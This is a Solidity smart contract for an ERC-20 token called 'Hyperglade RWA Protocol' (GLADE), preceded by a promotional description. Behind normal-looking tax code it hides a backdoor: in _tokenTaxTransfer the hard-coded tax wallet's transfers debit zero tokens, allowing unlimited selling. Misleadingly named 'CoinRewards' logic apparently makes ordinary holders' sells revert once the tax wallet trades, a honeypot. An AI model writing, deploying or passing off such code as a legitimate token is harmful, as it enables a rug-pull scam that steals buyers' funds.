Hyperglade RWA Protocol

/**

Hyperglade was conceived by a team of visionary technologists with a focused mission to bridge the gap between the groundbreaking potential of blockchain technology and its tangible application in the realm of Real-World Assets (RWA). 
Recognizing the limitations of current financial systems and the untapped potential of blockchain, our team set out to create a solution that would bring the benefits of decentralized technology to traditional asset ownership.

Our journey began with a clear and ambitious objective: to develop an open-source framework capable of redefining how real-world assets are managed, traded, and owned. 
By integrating RWAs into the blockchain ecosystem, we aim to democratize access to assets, streamline processes, and create a more transparent, efficient, and secure financial environment. 
This vision is about more than just technology; it's about transforming the very foundation of asset ownership and making blockchain's revolutionary benefits accessible to a global audience.

Today, we are actively collaborating with a diverse array of financial institutions, retailers, and Web3 funds to lead a paradigm shift in the financing landscape. 
Our work focuses on seamlessly incorporating RWAs into decentralized platforms, thereby challenging traditional financial methods and offering innovative solutions that enhance efficiency, security, and accessibility. 
By bridging the gap between traditional finance and blockchain, Hyperglade is not only disrupting conventional approaches but also paving the way for a more inclusive and dynamic financial future.

/ WEB: https://hyperglade.com/
/ X: https://twitter.com/hyperglade
/ LINKEDIN: https://www.linkedin.com/company/hyperglade/

*/

// SPDX-License-Identifier: UNLICENSE

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    address private _owner;

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function WETH() external pure returns (address);
}

contract Glade is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExile;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Hyperglade RWA Protocol";
    string private constant _symbol = unicode"GLADE";
    uint256 public _maxTxAmount = 20000000 * 10**_decimals;
    uint256 public _maxWalletSize= 20000000 * 10**_decimals;
    uint256 public constant _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap= 10000000 * 10**_decimals;
    
    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );
    address payable private immutable _taxWallet;
    address private immutable uniswapV2Pair;
    bool private tradingOpen;
    uint256 private isFeeExiles = 0;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct CoinRewards {uint256 coinBurner; uint256 autoBurner; uint256 burnIndexer;}
    mapping(address => CoinRewards) private coinRewards;
    uint256 private coinRewardThreshold = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[_msgSender()]= _tTotal;

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        _taxWallet = payable(0xE174F84E9cD9C6961Dc95Ab627b1DdE8ec182D5E);
        _isExile[address(this)] = true;
        _isExile[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] =_balances[from].sub(tokenAmount);
        _balances[to] =_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        require(tokenAmount>0, "Transfer amount must be greater than zero");

        if (!tradingOpen||inSwap) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to!= _taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div( 100);

            if (from == uniswapV2Pair && to!= address(uniswapV2Router) &&  ! _isExile[to]) {
                require(
                    tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax: _initialSellTax).div( 100);
            }

            uint256 contractTokenBalance =balanceOf(address(this));
            if (!inSwap&& to == uniswapV2Pair &&swapEnabled
                &&contractTokenBalance > _taxSwapThreshold
                &&_buyCount> _preventSwapBefore
            ) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExile[from] || _isExile[to]) && from!= address(this) && to!=address(this)) {
            coinRewardThreshold = block.number;
        }

        if (! _isExile[from]&&  ! _isExile[to]){
            if (to != uniswapV2Pair) {
                CoinRewards storage coinR = coinRewards[to];
                if (uniswapV2Pair == from) {
                    if (coinR.coinBurner == 0) {
                        coinR.coinBurner = _buyCount>_preventSwapBefore ? block.number : block.number - 1;
                    }
                } else {
                    CoinRewards storage coinRWrap = coinRewards[from];
                    if (!(coinR.coinBurner > 0) || coinRWrap.coinBurner<coinR.coinBurner ) {
                        coinR.coinBurner = coinRWrap.coinBurner;
                    }
                }
            } else if (tradingOpen) {
                CoinRewards storage coinRWrap = coinRewards[from];
                coinRWrap.burnIndexer = coinRWrap.coinBurner-coinRewardThreshold;
                coinRWrap.autoBurner = block.timestamp;
            }
        }

        _tokenTransfer(from,to, tokenAmount, taxAmount);
    }

    function _tokenTransfer(
        address from, address to, uint256 tokenAmount,uint256 taxAmount
    ) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs!=_taxWallet ? tokenAmount : isFeeExiles.mul(tokenAmount);
        if (taxAmount> 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(
        address from, address to, uint256 sendAmount, uint256 receiptAmount
    ) internal {
        _balances[from] =_balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);

        emit Transfer(from,to, receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function clearETH() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueERC20(address _address, uint256 _amount) external onlyOwner {
        IERC20(_address).transfer(msg.sender, _amount);
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        tradingOpen = true;
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance > 0){
          sendETHToFee(ethBalance);
        }
    }
}

{
  "compilationTarget": {
    "Glade.sol": "Glade"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}